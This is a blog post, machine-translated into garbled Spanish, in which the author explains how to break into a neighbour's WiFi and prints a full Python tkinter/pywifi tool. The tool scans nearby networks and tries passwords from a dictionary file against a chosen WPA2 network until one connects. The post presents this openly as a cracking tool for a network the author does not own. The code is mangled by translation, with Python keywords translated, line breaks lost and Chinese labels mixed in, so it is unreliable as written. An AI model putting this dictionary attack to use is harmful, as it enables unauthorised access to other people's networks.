Los desarrolladores de Android han creado ahora un grupo de Amigos del círculo del agua, el círculo de vez en cuando para actualizar algunos datos avanzados de la clase Android, están invitados a discutir con problemas técnicos, el desarrollo común y el progreso! (Interfaz de usuario incluye ingenieros superiores, inferior androide del ingeniero de desarrollo, el arquitecto Android, la optimización del rendimiento de optimización nativa e híbridos, especialización aleteo); pesos pesados de la tecnología quieren unirse, mayor cuanto más el círculo derecho a resolver el problema del agua disponible!
Ayer por la noche, su red de casa, el código de las explotaciones, net stop, que puede ser capaz de hacerlo? red de reparación llamada, dicho demasiado tarde, al día siguiente por venir ...
señal wifi se encontró de repente al lado del papel de la hermana de la red completa wow, eso me hace mover el mal, veo que no hay manera de frotar la red, en primer lugar, el uso de una llave maestra, sin éxito ~~~
Sólo puedo usar el diccionario contraseña para ejecutar, oh, esta pequeña función, asegúrese de pitón solamente por hacer, y la búsqueda, encontré pywifi este componente sólo para satisfacer la demanda.
Echemos un vistazo en el proceso de grabación que mi operación.
pensamiento
Wifi nombre dado, reciclamos una contraseña para conseguir que tratan de hacer, si no logra desconexión hasta que la conexión se realiza correctamente.
Que la importación de las bibliotecas de terceros requeridas (por favor, descargar e instalar su propio bien), llame a la interfaz de red por pywifi, con el fin de hacer la prueba, bucle lee el intento contraseña para conectarse. Aquí sólo se necesita cambiar el nombre de ruta y el archivo de contraseña a Wi-Fi.
Preparación del entorno
python2.7
módulo pywifi
diccionario
módulo de importación
pywifi de importación *
Diccionario ready
Al azar fuera de la wifi débil contraseñas TOP10. Línea sólo contiene una contraseña establecida, gire a la secuencia de comandos lee cada línea de código hasta que se encuentre la contraseña correcta.
El código completo
# Codificación: UTF-8 de importación tkinter * tkinter de TTK importación pywifi importación de pywifi const importación tiempo de importación tkinter.filedialog importación tkinter.messagebox importación clase MY_GUI (): def __init __ (self, init_window_name): self.init_window_name = init_window_name # Ruta del archivo de contraseña self.get_value = VarCadena () # Obtener cuenta grieta wifi self.get_wifi_value = VarCadena () # Recuperar contraseña wifi self.get_wifimm_value = VarCadena () self.wifi = pywifi.PyWiFi () # arrastró tarjetas de interfaz de red self.iface = self.wifi.interfaces () [0] # buscar el primero tarjeta inalámbrica self.iface.disconnect () el enlace # prueba se rompe todos los enlaces time.sleep (1) # 1 segundo Sleep # Comprobar si la tarjeta pertenece al estado OFF self.iface.status assert () en \ [Const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def __str __ (self): retorno '(WIFI:% s,% s)' % (self.wifi, self.iface.name ()) # Ventana Configuración def set_init_window (self): self.init_window_name.title ( "WIFI herramientas de cracking") self.init_window_name.geometry ( '+ 500 + 200') labelframe = LabelFrame (width = 400, altura = 200, texto = "配置") labelframe.grid (columna = 0, fila = 0, padx = 10, pady = 10) self.search = Botón (labelframe, texto = "搜索 附近 Wi-Fi", comando = self.scans_wifi_list) .grid (columna = 0, fila = 0) self.pojie = Botón (labelframe, texto = "开始 破解", comando = self.readPassWord) .grid (columna = 1, fila = 0) self.label = Etiqueta (labelframe, texto = "ruta de directorio:"). cuadrícula (columna = 0, fila = 1) self.path = Entrada (labelframe, width = 12, textVariable = self.get_value) .grid (columna = 1, fila = 1) self.file = Botón (labelframe, texto = "Añadir directorio de archivo de contraseña", comando = self.add_mm_file) .grid (columna = 2, fila = 1) self.wifi_text = Etiqueta (labelframe, texto = "WiFi 账号:"). cuadrícula (columna = 0, fila = 2) self.wifi_input = Entrada (labelframe, width = 12, textVariable = self.get_wifi_value) .grid (columna = 1, fila = 2) self.wifi_mm_text = Etiqueta (labelframe, texto = "WiFi 密码:"). cuadrícula (columna = 2, fila = 2) self.wifi_mm_input = Entrada (labelframe, width = 10, textVariable = self.get_wifimm_value) .grid (columna = 3, fila = 2, pegajoso = W) self.wifi_labelframe = LabelFrame (texto = "wifi 列表") self.wifi_labelframe.grid (columna = 0, fila = 3, ColumnSpan = 4, pegajoso = NSEW) # Definir la estructura de árbol y barras de desplazamiento self.wifi_tree = ttk.Treeview (self.wifi_labelframe, se muestran = "partidas", columnas = ( "a", "b", "c", "d")) self.vbar = ttk.Scrollbar (self.wifi_labelframe, orientar = VERTICAL, comando = self.wifi_tree.yview) self.wifi_tree.configure (yscrollcommand = self.vbar.set) Título # tabla self.wifi_tree.column ( "a", width = 50, ancla = "centro") self.wifi_tree.column ( "b", width = 100, ancla = "centro") self.wifi_tree.column ( "c", width = 100, ancla = "centro") self.wifi_tree.column ( "d", width = 100, ancla = "centro") self.wifi_tree.heading ( "a", texto = "WiFiID") self.wifi_tree.heading ( "b", texto = "SSID") self.wifi_tree.heading ( "c", texto = "BSSID") self.wifi_tree.heading ( "d", texto = "señal") self.wifi_tree.grid (fila = 4, columna = 0, pegajoso = NSEW) self.wifi_tree.bind ( "<Doble-1>", self.onDBClick) self.vbar.grid (fila = 4, columna = 1, pegajoso = NS) # Buscar wifi #cmd / k C: \ python27 \ python.exe "$ (FULL_CURRENT_PATH)" y PAUSA Y SALIDA def scans_wifi_list (auto) de acceso a internet de exploración # around Lista # Iniciar análisis imprimir ( "^ _ ^ cerca del comienzo de la exploración wifi ...") self.iface.scan () time.sleep (15) # Obtener los resultados del análisis después de unos segundos scanres = self.iface.scan_results () # Hotspots se encuentran cerca estadísticas nums = len (scanres) imprimir ( "数量:% s" % (nums)) #print ( "|% s |% s |% s |% s" % ( "WIFIID", "SSID", "BSSID", "señal")) # Los datos reales self.show_scans_wifi_list (scanres) scanres retorno # Mostrar una lista de wifi def show_scans_wifi_list (self, scans_res): para el índice, wifi_info en Enumerar (scans_res): # impresión ( "% - * s |% s |% * s |% * s \ n" % (20, índice, wifi_info.ssid, wifi_info.bssid ,, wifi_info.signal)) self.wifi_tree.insert ( "", 'final', los valores = (índice + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) #print ( "|% s |% s |% s |% s \ n" % (índice, wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) # Directorio de archivos Agregar contraseña def add_mm_file (self): self.filename = tkinter.filedialog.askopenfilename () self.get_value.set (self.filename) #Treeview eventos vinculante def onDBClick (auto, evento): self.sels = event.widget.selection () self.get_wifi_value.set (self.wifi_tree.item (self.sels, "valores") [1]) #print ( "ha hecho clic sobre", self.wifi_tree.item (self.sels, "valores") [1]) # Leer el diccionario contraseña, partido def readPassWord (self): self.getFilePath = self.get_value.get () #print ( "Ruta del archivo:% s \ n" % (self.getFilePath)) self.get_wifissid = self.get_wifi_value.get () #print ( "SSID:% s \ n" % (self.get_wifissid)) self.pwdfilehander = abiertos (self.getFilePath, "R", errores = "Ignorar") while True: tratar: self.pwdStr = self.pwdfilehander.readline () #print ( "contraseña:% s" % (self.pwdStr)) No si self.pwdStr: descanso self.bool1 = self.connect (self.pwdStr, self.get_wifissid) #print ( "Valor de retorno:% s \ n" % (self.bool1)) Si self.bool1: # Impresión ( "contraseña es correcta:" + pwdStr # Res = "Contraseña:% s derecho \ n" % self.pwdStr; self.res = "=== === wifi nombre correcto:% s partido Contraseña:% s" % (self.get_wifissid, self.pwdStr) self.get_wifimm_value.set (self.pwdStr) tkinter.messagebox.showinfo ( 'pronta', 'break éxito !!!') impresión (self.res) descanso más: # Impresión ( "Contraseña:" + + self.pwdStr "error") self.res = "--- --- nombre de error wifi:% s partido Contraseña:% s" % (self.get_wifissid, self.pwdStr) impresión (self.res) sueño (3) excepto: Seguir # De wifi y contraseña coinciden def connect (auto, pwd_Str, wifi_ssid): # Crear un archivo de enlace wifi self.profile = pywifi.Profile () self.profile.ssid = wifi_ssid # WiFi 名称 self.profile.auth = abierta const.AUTH_ALG_OPEN # NIC self.profile.akm.append (const.AKM_TYPE_WPA2PSK) algoritmo de cifrado # WiFi unidad de cifrado de self.profile.cipher = const.CIPHER_TYPE_CCMP # self.profile.key = pwd_Str # contraseña self.iface.remove_all_network_profiles () # eliminar todos los archivos wifi self.tmp_profile = self.iface.add_network_profile (self.profile) # nuevo conjunto de archivos vinculados self.iface.connect (self.tmp_profile) # 链接 time.sleep (5) Si self.iface.status () == const.IFACE_CONNECTED: # determina si o no la conexión Isok = True más: Isok = false self.iface.disconnect () # desconexión time.sleep (1) # Comprobar estado apagado self.iface.status assert () en \ [Const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] retorno Isok def gui_start (): init_window = Tk () ui = MY_GUI (init_window) imprimir (UI) ui.set_init_window () # Ui.scans_wifi_list () init_window.mainloop () gui_start ()
resultado
resultados de la ejecución se muestran en la figura, que de acuerdo con la interfaz gráfica de usuario de la operación, que puede comenzar a correr hacia arriba.
Hay otras opiniones bienvenida a los comentarios. Preguntas para la discusión Por favor, deje un mensaje, el camino en el anillo: la atención + pulgares, respuesta carta privada a mí 'información' lata en el anillo.